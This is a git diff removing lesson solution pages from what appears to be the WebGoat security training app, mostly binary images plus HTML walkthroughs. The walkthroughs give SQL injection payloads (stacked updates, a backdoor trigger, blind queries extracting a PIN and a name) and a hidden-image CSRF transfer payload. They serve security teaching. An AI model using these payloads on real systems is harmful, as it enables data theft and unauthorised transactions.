a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image004.jpg b/src/main/webapp/lesson_solutions/WsSAXInjection_files/image004.jpg deleted file mode 100644 index c6698ffba..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image005.png b/src/main/webapp/lesson_solutions/WsSAXInjection_files/image005.png deleted file mode 100644 index 84e5ff852..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image006.jpg b/src/main/webapp/lesson_solutions/WsSAXInjection_files/image006.jpg deleted file mode 100644 index 40dcd7832..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image007.png b/src/main/webapp/lesson_solutions/WsSAXInjection_files/image007.png deleted file mode 100644 index 94b298db1..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image008.jpg b/src/main/webapp/lesson_solutions/WsSAXInjection_files/image008.jpg deleted file mode 100644 index 9faeaaac1..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image008.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image009.png b/src/main/webapp/lesson_solutions/WsSAXInjection_files/image009.png deleted file mode 100644 index acdfd2592..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image010.jpg b/src/main/webapp/lesson_solutions/WsSAXInjection_files/image010.jpg deleted file mode 100644 index ad7400d38..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSAXInjection_files/image010.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSAXInjection_files/themedata.thmx b/src/main/webapp/lesson_solutions/WsSAXInjection_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSAXInjection_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSqlInjection_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/WsSqlInjection_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/WsSqlInjection_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/WsSqlInjection_files/filelist.xml b/src/main/webapp/lesson_solutions/WsSqlInjection_files/filelist.xml deleted file mode 100644 index 2596e1075..000000000 --- a/src/main/webapp/lesson_solutions/WsSqlInjection_files/filelist.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image001.png b/src/main/webapp/lesson_solutions/WsSqlInjection_files/image001.png deleted file mode 100644 index 82abbd808..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image002.jpg b/src/main/webapp/lesson_solutions/WsSqlInjection_files/image002.jpg deleted file mode 100644 index 60c86b971..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image002.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image003.png b/src/main/webapp/lesson_solutions/WsSqlInjection_files/image003.png deleted file mode 100644 index e658bb1b9..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image004.jpg b/src/main/webapp/lesson_solutions/WsSqlInjection_files/image004.jpg deleted file mode 100644 index cb476bc0d..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image004.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image005.png b/src/main/webapp/lesson_solutions/WsSqlInjection_files/image005.png deleted file mode 100644 index d1db6bcb8..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image006.jpg b/src/main/webapp/lesson_solutions/WsSqlInjection_files/image006.jpg deleted file mode 100644 index f3e91d5e9..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image007.png b/src/main/webapp/lesson_solutions/WsSqlInjection_files/image007.png deleted file mode 100644 index d3bd79b6b..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image008.jpg b/src/main/webapp/lesson_solutions/WsSqlInjection_files/image008.jpg deleted file mode 100644 index 50c57e172..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSqlInjection_files/image008.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/WsSqlInjection_files/themedata.thmx b/src/main/webapp/lesson_solutions/WsSqlInjection_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/WsSqlInjection_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/XMLInjection_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/XMLInjection_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/filelist.xml b/src/main/webapp/lesson_solutions/XMLInjection_files/filelist.xml deleted file mode 100644 index 91acaa646..000000000 --- a/src/main/webapp/lesson_solutions/XMLInjection_files/filelist.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image001.png b/src/main/webapp/lesson_solutions/XMLInjection_files/image001.png deleted file mode 100644 index b32e9194e..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image003.png b/src/main/webapp/lesson_solutions/XMLInjection_files/image003.png deleted file mode 100644 index f0de7feb1..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image005.png b/src/main/webapp/lesson_solutions/XMLInjection_files/image005.png deleted file mode 100644 index d2589d1b8..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image007.png b/src/main/webapp/lesson_solutions/XMLInjection_files/image007.png deleted file mode 100644 index d2489a851..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image009.png b/src/main/webapp/lesson_solutions/XMLInjection_files/image009.png deleted file mode 100644 index c2b095cd1..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image011.png b/src/main/webapp/lesson_solutions/XMLInjection_files/image011.png deleted file mode 100644 index e316c46cb..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image011.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image013.png b/src/main/webapp/lesson_solutions/XMLInjection_files/image013.png deleted file mode 100644 index 2c485734d..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image013.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image015.png b/src/main/webapp/lesson_solutions/XMLInjection_files/image015.png deleted file mode 100644 index f59f4c79b..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image015.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image017.jpg b/src/main/webapp/lesson_solutions/XMLInjection_files/image017.jpg deleted file mode 100644 index 5cde78c29..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image017.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image018.jpg b/src/main/webapp/lesson_solutions/XMLInjection_files/image018.jpg deleted file mode 100644 index 50a020099..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image018.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image019.jpg b/src/main/webapp/lesson_solutions/XMLInjection_files/image019.jpg deleted file mode 100644 index 3ec8d20a1..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image019.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image020.jpg b/src/main/webapp/lesson_solutions/XMLInjection_files/image020.jpg deleted file mode 100644 index 3181beb41..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image020.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image021.jpg b/src/main/webapp/lesson_solutions/XMLInjection_files/image021.jpg deleted file mode 100644 index 164e97f7d..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image021.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image022.jpg b/src/main/webapp/lesson_solutions/XMLInjection_files/image022.jpg deleted file mode 100644 index 155301a55..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image022.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image023.jpg b/src/main/webapp/lesson_solutions/XMLInjection_files/image023.jpg deleted file mode 100644 index 3ed684669..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image023.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/image024.jpg b/src/main/webapp/lesson_solutions/XMLInjection_files/image024.jpg deleted file mode 100644 index 00a8ad33b..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/image024.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XMLInjection_files/themedata.thmx b/src/main/webapp/lesson_solutions/XMLInjection_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/XMLInjection_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XPATHInjection_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/XPATHInjection_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/XPATHInjection_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/XPATHInjection_files/filelist.xml b/src/main/webapp/lesson_solutions/XPATHInjection_files/filelist.xml deleted file mode 100644 index 3d5d19db6..000000000 --- a/src/main/webapp/lesson_solutions/XPATHInjection_files/filelist.xml +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/XPATHInjection_files/image001.png b/src/main/webapp/lesson_solutions/XPATHInjection_files/image001.png deleted file mode 100644 index c710b2228..000000000 Binary files a/src/main/webapp/lesson_solutions/XPATHInjection_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XPATHInjection_files/image003.png b/src/main/webapp/lesson_solutions/XPATHInjection_files/image003.png deleted file mode 100644 index aa3b3886c..000000000 Binary files a/src/main/webapp/lesson_solutions/XPATHInjection_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XPATHInjection_files/image005.png b/src/main/webapp/lesson_solutions/XPATHInjection_files/image005.png deleted file mode 100644 index c63e9830a..000000000 Binary files a/src/main/webapp/lesson_solutions/XPATHInjection_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XPATHInjection_files/image007.jpg b/src/main/webapp/lesson_solutions/XPATHInjection_files/image007.jpg deleted file mode 100644 index a74456833..000000000 Binary files a/src/main/webapp/lesson_solutions/XPATHInjection_files/image007.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XPATHInjection_files/image008.jpg b/src/main/webapp/lesson_solutions/XPATHInjection_files/image008.jpg deleted file mode 100644 index 229e969db..000000000 Binary files a/src/main/webapp/lesson_solutions/XPATHInjection_files/image008.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XPATHInjection_files/image009.jpg b/src/main/webapp/lesson_solutions/XPATHInjection_files/image009.jpg deleted file mode 100644 index 731010dab..000000000 Binary files a/src/main/webapp/lesson_solutions/XPATHInjection_files/image009.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/XPATHInjection_files/themedata.thmx b/src/main/webapp/lesson_solutions/XPATHInjection_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/XPATHInjection_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions_1/AccessControlMatrix.html b/src/main/webapp/lesson_solutions_1/AccessControlMatrix.html deleted file mode 100644 index ab0e18e3c..000000000 --- a/src/main/webapp/lesson_solutions_1/AccessControlMatrix.html +++ /dev/null @@ -1,707 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: Using an -Access Control Matrix

- -

 

- -

Concept / -Topic To Teach:

- - - -

In a -role-based access control scheme, a role represents a set of access permissions -and privileges. A user can be assigned one or more roles. A role-based access -control scheme normally consists of two parts: role permission management and -role assignment. A broken role-based access control scheme might allow a user -to perform accesses that are not allowed by his/her assigned roles, or somehow -allow privilege escalation to an unauthorized role.

- -

 

- -

General -Goal(s):

- -

Each user is -a member of a role that is allowed to access only certain resources. Your goal -is to explore the access control rules that govern this site. Only the [Admin] -group should have access to the 'Account Manager' resource.

- -

 

- -

Solution:

- -

 

- -

This exercise -is straightforward. You need to find a user where you can access a resource -that you shouldn't be able to access.

- -

After a few attempts -you will learn that Larry can access resources of the role Account Manager.

- -

 

- -

- -

Figure 1 Lesson 9

- -

 

- -

- -

Figure 2 Lesson 9 Completed

- -

 

- -
-
- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/BackDoors.html b/src/main/webapp/lesson_solutions_1/BackDoors.html deleted file mode 100644 index 3a999c080..000000000 --- a/src/main/webapp/lesson_solutions_1/BackDoors.html +++ /dev/null @@ -1,841 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Create Database Back Door Attacks.

- -

 

- -

Concept / -Topic To Teach:

- -

How to Create -Database Back Door Attacks.

- -

 

- -

How the -attacks works:

- -

Databases are -used usually as a backend for web applications. Also it is used as a media of -storage. It can also be used as a place to store a malicious activity such as a -trigger. A trigger is called by the database management system upon the -execution of another database operation like insert, select, update or delete. -An attacker for example can create a trigger that would set his email address -instead of every new user's email address.

- -

 

- -

General -Goal(s):

- -

Your -goal should be to learn how you can exploit a vulnerable query to create a -trigger.
-You will not be able to actually create one in this lesson because the -underlying database engine used with WebGoat doesn't support triggers.
-Your login ID is 101.

- -

 

- -

- -

Figure 1 Database backdoor

- -

 

- -

Solution:

- -

Enter your user ID 101 to see how the application works.

- -

 

- -

- -

Figure 2 User ID is 101

- -

 

- -

As you -probably noticed, the input is not validated so very easy to do SQL Injection. -To have two SQL queries executed, you need to separate them using a sem-colon. -For example select * from employees; drop table employees will first select all -the users from employees and then drop the table employees. Not all databases -support multiple SQL statements.

- -

 

- -

Here you need -to update the salary of the employees. This requires an update query like -update employees set salary=10000.

- -

 

- -

Inject this -for the user ID: 101; update employee set salary=10000

- -

 

- -

- -

Figure 3 Update query

- -

 

- -

- -

Figure 4 Stage 1 completed

- -

 

- -

To create a -database trigger, you need to inject the following SQL: CREATE TRIGGER -myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET -email='john@hackme.com'WHERE userid = NEW.userid

- -

 

- -

- -

Figure 5 Insert trigger

- -

 

- -

- -

Figure 6 Lesson completed

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/BasicAuthentication.html b/src/main/webapp/lesson_solutions_1/BasicAuthentication.html deleted file mode 100644 index 5d888cf5f..000000000 --- a/src/main/webapp/lesson_solutions_1/BasicAuthentication.html +++ /dev/null @@ -1,933 +0,0 @@ - - - - - - - -Basic Authentication - - - - - - - - - - - - -
- -

Lesson -Plan Title: Basic -Authentication

- -

 

- -

Concept / -Topic To Teach:

- -

Basic -Authentication is used to protect server side resources. The web server will send -a 401 authentication request with the response for the requested resource. The -client side browser will then prompt the user for a user name and password -using a browser supplied dialog box. The browser will base64 encode the user -name and password and send those credentials back to the web server. The web -server will then validate the credentials and return the requested resource if -the credentials are correct.

- -

These -credentials are automatically resent for each page protected with this -mechanism without requiring the user to enter their credentials again.

- -

 

- -

General -Goal(s):

- -

For this -lesson, your goal is to understand Basic Authentication and answer the -questions below.

- -

 

- -

- -

Figure 1 Lesson 13

- -

 

- -

To learn the -name of the authentication header you must click “Submit” and intercept the -request with WebScarab.

- -

 

- -

- -

Figure 2 Intercepted request

- -

 

- -

The HTTP -header that contains the Basic Authentication information is called -"Authorization". This value Z3Vlc3Q6Z3Vlc3Q= is Base64 encoded. You can decode -this by using WebScarab > Tools > Transcoder.

- -

 

- -

- -

Figure 3 WebScarabs Transcoder

- -

 

- -

Click Base64 -decode.

- -

 

- -

- -

Figure 4 Decode value

- -

 

- -

These values must -be used to complete the questions.

- -

 

- -

- -

Figure 5 Answers

- -

 

- -

 

- -

- -

Figure 6 Part 1 completed

- -

 

- -

For this -lesson it is very important that you understand how the JSESSIONID cookie is -used for session management and how the basic authorization header is used for -authentication.

- -

- -

 

- -

When WebGoat -is able to retrieve a valid session you are automatically redirected to the -lesson you are working on. When there is no valid session, WebGoat will create -a new JSESSIONID and you will see the first lesson, HTTP Basics.

- -

 

- -

When there is -no session cookie, WebGoat will first verify if you already authenticated. If -not, you will get a pop-up window from the browser that requests your user name -and password (guest/guest). After the user credentials are validated, you will -access the Start-page of WebGoat and WebGoat will create a new JSESSIONID for -this session.

- -

 

- -

To access -WebGoat as the user basic, you need to corrupt the existing JSESSIONID and the -Authorization header. You can do this in WebScarab. Intercept the request and -delete a character from the JSESSIONID value and the Authorization header.

- -

WebGoat will -require you to authenticate, so you now enter for the user name basic and for -the password basic. This logs you on as the user basic.

- -

 

- -

Remember our -JSESSIONID? This JSESSIONID is a non-persistent cookie which is set during our -first visit. Every request from the browser to WebGoat will have this cookie -value. Corrupting this value in the previous request will not change the cookie -value stored in browser memory and that is the reason why the old JSESSIONID -cookie is sent in every request.

- -

 

- -

- -

Figure 7 Basic Authentication

- -

 

- -

You clearly -see that the JSESSIONID is the same like in the previous request, but the -Authorization header now contains the Base 64 encoded value of basic:basic (you -can decode this value in WebScarab > Tools > Transcoder).

- -

- -

Figure 8 Logged on as user basic

- -

 

- -

 

- -

Because of the -valid JSESSIONID, WebGoat retrieves the authenticated user via the server-side -session object using getSession().getUser(). To make WebGoat believe that you -are authenticated as basic, you need to corrupt the JSESSIONID, as shown in the -screenshot below.

- -

 

- -

- -

Figure 9 Corrupt JSESSIONID

- -

 

- -

 

- -

- -

Figure 10 Start page for user basic

- -

 

- -

Now you are -redirected to the WebGoat start page. The JSESSIONID is changed and you lost all -your green stars because the basic user hasn’t completed any lesson. Go to the -lesson "Basic Authentication" to complete this lesson.

- -

 

- -

- -

Figure 11 Lesson 13 Completed

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/BlindNumericSqlInjection.html b/src/main/webapp/lesson_solutions_1/BlindNumericSqlInjection.html deleted file mode 100644 index 45eb33e58..000000000 --- a/src/main/webapp/lesson_solutions_1/BlindNumericSqlInjection.html +++ /dev/null @@ -1,46 +0,0 @@ - - - - -Solution: Blind Numeric SQL Injection - - - -

Lesson Plan Title: Blind Numeric SQL Injection

- -

Concept / Topic To Teach:
-SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. -

-Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
-
-It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
-
-

- -

General Goal(s):
-The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.
- -The goal is to find the value of the field pin in table pins for the row with the cc_number of 1111222233334444. The field is of type int, which is an integer.
- -Put the discovered pin value in the form to pass the lesson. -

- -Solution:

-In this lesson, the only output returned by the webpage is whether a given account exists or not. Therefore, we cannot simply request the pin number for this account.
-We can take advantage of the query being used, however. The database query being used is:
-SELECT * FROM user_data WHERE userid=accountNumber;

-If this query returns information for the account, the page will indicate the account exists. However, if the userid doesnt exist, no data is returned and the page says the account is invalid. -By using the AND function, we can add additional conditions to this query. If the additional condition is true, the result will be a valid account, if not the page will indicate the account is invalid.
-For example, try entering these two commands for the account ID:
-101 AND 1=1 and 101 AND 1=2

-In the first statement, both conditions return true. Account 101 is found and 1=1, so the page indicates the account is valid.
-In the second statement, only the first condition is true. Account 101 is found but 1 does not equal 2, so the page indicates the account is invalid.

-Now, we can use a more complicated command for our second true/false statement. The following statement will tell us if the pin is above or below 10000:
-101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

-If our command returns false, it makes the entire statement false and returns and invalid account, which indicates the pin number is below 10000. If it is above 10000, the opposite is true.

-The last step is to repeatedly use this command with a different number to the right of the > operator until we can determine the pin number.
-The pin number is 2364. Enter this number to complete the lesson. - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/BlindStringSqlInjection.html b/src/main/webapp/lesson_solutions_1/BlindStringSqlInjection.html deleted file mode 100644 index 844892b9d..000000000 --- a/src/main/webapp/lesson_solutions_1/BlindStringSqlInjection.html +++ /dev/null @@ -1,42 +0,0 @@ - - - - -Solution: Blind String SQL Injection - - - -

Lesson Plan Title: Blind String SQL Injection

- -

Concept / Topic To Teach:
-SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack. -

-Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
-
-It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
-
-

- -

General Goal(s):
-The form below allows a user to enter an account number and determine if it is valid or not. Use this form to develop a true / false test check other entries in the database.
- -The goal is to find the value of the field name in table pins for the row with the cc_number of 4321432143214321. The field is of type varchar, which is a string.
- -Put the discovered name in the form to pass the lesson. Only the discovered name should be put into the form field, paying close attention to the spelling and capitalization.
-

- -Solution:

-This lesson is conceptually very similar to the previous lesson. The big difference is we are searching for a string, not a number.
-We will attempt to figure out the name the same way, by injecting a boolean expression into the pre-scripted SQL query. It looks similar to the one from the previous lesson:
-101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );

-We can compare characters the same way we can compare numbers. For example, N > M. However, without the SUBSTRING method, we are attempting to compare the entire string to one letter, which doesn't help us. The substring method has the following syntax:
-SUBSTRING(STRING,START,LENGTH)

-The expression above compares the first letter to H. It will return false and show invalid account number. Changing the boolean expression to < 'L' returns true, so we know the letter is between H and L. With a few more queries, we can determine the first letter is J. Note that capitalization matters, and it's right to assume the first letter is capitalized.

-To determine the second letter, we have to change the SUBSTRING parameters to compare against the second letter. We can use this command:
-101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );

-Using several more queries, we can determine the second letter is i. Note that we are comparing the second character to a lowercase h. Continue this process until you have the rest of the letters. -The name is Jill. Enter this name to complete the lesson. Capitalization matters. - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/BypassHtmlFieldRestrictions.html b/src/main/webapp/lesson_solutions_1/BypassHtmlFieldRestrictions.html deleted file mode 100644 index a0a7d4a84..000000000 --- a/src/main/webapp/lesson_solutions_1/BypassHtmlFieldRestrictions.html +++ /dev/null @@ -1,37 +0,0 @@ - - - - -Solution: Bypass HTML Field Restrictions - - - -

Lesson Plan Title: Bypass HTML Field Restrictions

- -

Concept / Topic To Teach:
-Client-side validation should not be considered a secure means of validating parameters. These validations only help reduce the amount of server processing time for normal users who do not know the format of required input. Attackers can bypass these mechanisms easily in various ways. Any client-side validation should be duplicated on the server side. This will greatly reduce the likelihood of insecure parameter values being used in the application -

- -

General Goal(s):
-The user should be able send the website input that it wasn't expecting.
-For this exercise, your job is to break the client side validation and send the website input that it wasn't expecting, including input for the disabled field. You must break all 6 validators at the same time. -

- -Solution:

-To solve this lesson, we need to put invalid characters (slashes, quotes, etc.) into all six fields. Since three of the fields are toggles or dropdowns, we will need to intercept the request with Webscarab.
-We still need to put invalid data in the disabled field, however. There are two ways of accomplishing this; we can enable the field using Firebug, or we can insert an additional field using Webscarab.

- -To enable the field, open Firebug and find the form containing all of our fields. Find the text input named "disabledinput". Delete the disabled="" parameter. This causes the field on the page to be unlocked, and will also cause the disabledinput variable to appear in Webscarab.
-
-Enabled input after removing the "disabled" parameter in Firebug.

-The other option is to add another variable when intercepting the request with Webscarab. When the intercept request window pops up, use the insert button to add a new variable called disabledinput.

-Either way you add the input, the next step is to invalidate all of the responses. Put any symbol or character that isn't allowed in for each variable. Make sure you put more than five characters in the field that is limited by length.
- -
-Correctly filled in request with all fields invalidated and the disabledinput variable added.

- -Submit the request to complete the lesson. -
- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/CSRF.html b/src/main/webapp/lesson_solutions_1/CSRF.html deleted file mode 100644 index db3af3e8b..000000000 --- a/src/main/webapp/lesson_solutions_1/CSRF.html +++ /dev/null @@ -1,869 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform Cross Site Request Forgery.

- -

 

- -

Concept -/ Topic To Teach:

- -

This -lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks.

- -

 

- -

How -the attacks works:

- -

Cross-Site -Request Forgery (CSRF/XSRF) is an attack that tricks the victim into loading a -page that contains img links like the one below:

- -

<img -src="http://www.mybank.com/sendFunds.do?acctId=123456"/>

- -

When -the victim's browser attempts to render this page, it will issue a request to -www.mybank.com to the transferFunds.do page with the specified parameters. The -browser will think the link is to get an image, even though it actually is a -funds transfer function. The request will include any cookies associated with -the site. Therefore, if the user has authenticated to the site, and has either -a permanent cookie or even a current session cookie, the site will have no way -to distinguish this from a legitimate user request. In this way, the attacker -can make the victim perform actions that they didn't intend to, such as logout, -purchase item, or any other function provided by the vulnerable website

- -

 

- -

General -Goal(s):

- -

Your -goal is to send an email to a newsgroup that contains an image whose URL is -pointing to a malicious request. Try to include a 1x1 pixel image that includes -a URL. The URL should point to the CSRF lesson with an extra parameter -"transferFunds=4000". You can copy the shortcut from the left hand -menu by right clicking on the left hand menu and choosing copy shortcut. -Whoever receives this email and happens to be authenticated at that time will -have his funds transferred. When you think the attack is successful, refresh -the page and you will find the green check on the left hand side menu.
-Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values.

- -

 

- -

- -

Figure 1 How to perform CSRF

- -

 

- -

Solution:

- -

 

- -

To -complete this lesson you need to embed HTML code in the message box. This HTML -code should contain a image tag linking to an URL that is not a real image  will but start a transaction on the web -server instead.

- -

 

- -

The -format of an image in html is <img src="[URL]" width="1" -height="1" />

- -

The transaction can be triggered by an URL to the -current lesson and an extra parameter "transferFunds" and the amount. The -width=1 and height=1 will not show the image.

- -

 

- -

This payload will work:

- -

<img -src="http://localhostattack?Screen=81&menu=210&transferFunds=5000" -width="1" height="1" />

- -

 

- -

So create a new message with title "Test" and a -message with the payload.

- -

- -

Figure 2 Insert payload

- -

 

- -

The page will refresh and you will see a new message -in the message list.

- -

 

- -

- -

Figure 3 New message test

- -

 

- -

Click -on the message test. This will download the message and display the contents as -HTML, executing the payload. Examine the HTTP Request in WebScarab that is -generated when the browers tries to render the image tag.

- -

 

- -

- -

Figure 4 CSRF attack

- -

 

- -

Now -you need to refresh the page to get the green star next to the lesson.

- -

 

- -

- -

Figure 5 Lesson completed

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/ClientSideFiltering.html b/src/main/webapp/lesson_solutions_1/ClientSideFiltering.html deleted file mode 100644 index fe08a4bdf..000000000 --- a/src/main/webapp/lesson_solutions_1/ClientSideFiltering.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - -Client Side Filtering - - - -

Lesson Plan Title: Client Side Filtering

- -

Concept / Topic To Teach:
-It is always a good practice to send to the client -only information which they are supposed to have access to. -In this lesson, too much information is being sent to the -client, creating a serious access control problem. -

- -

General Goal(s):
-For this exercise, your mission is exploit the extraneous -information being returned by the server to discover information -to which you should not have access. -

- -Solution:
-

-This Lab consists of two Stages. In the first Stage you have to -get sensitive information . In the second one you have to fix the problem.
-

-Stage 1 -

